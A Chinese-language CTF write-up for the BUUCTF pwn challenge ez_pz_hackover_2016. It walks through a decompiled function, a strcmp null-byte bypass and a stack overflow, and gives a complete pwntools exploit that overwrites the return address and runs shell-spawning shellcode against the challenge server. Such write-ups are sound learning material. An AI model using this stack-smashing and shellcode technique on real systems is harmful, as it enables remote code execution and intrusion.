checksec
IDA
chall
int chall()
{
size_t v0; // eax
int result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 1023, stdin);
v0 = strlen(s);
v3 = memchr(s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = strcmp(s, "crashme");
if ( !result )
return vuln((char)s, 0x400u);
return result;
}
C 库函数 - strcmp()
C 库函数 int strcmp(const char *str1, const char *str2) 把 str1 所指向的字符串和 str2 所指向的字符串进行比较。
int strcmp(const char *str1, const char *str2)
当s1<s2时,返回为负数 注意不是-1
当s1==s2时,返回值= 0
当s1>s2时,返回正数 注意不是1
strcmp只能比较字符串,比较数组和字符串常量,不能比较数字等其他形式的参数。
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止
strcmp的返回值可控,传入空字符串即可
strlen同样遇0截断
将第一个参数长度n的内容复制到dest缓冲区
s中拷贝0x400个字节到dest中
很明显的栈溢出
绕过前面两个函数,成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制
程序打印出来s的地址,因此只要知道s缓冲区和shellcode地址的相对偏移量,就可确定shellcode地址
动调确定其位置
ennnnnn
用gdb动调b下断点不太行了
其它师傅们脚本都可以动调,我试验都退出了,动调不了确定不下位置,之后学习再补充
EXP
#coding=utf-8
#!/usr/bin/env python
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote("node4.buuoj.cn",26580)
# p=process('./ez_pz_hackover_2016')
# gdb.attach(p)
# gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
stack_addr=int(p.recv(10),16)#接收s栈地址
log.success('stack_addr==>'+hex(stack_addr))
payload = 'crashme\x00' + 'a'*(0x16-8+4) # 前面的crashme\x00绕过if判断
payload += p32(stack_addr-0x1c) # 返回地址位置,随意填充数据
payload += asm(shellcraft.sh()) #利用pwntools自动生成
p.sendline(payload)
# pause()
p.interactive()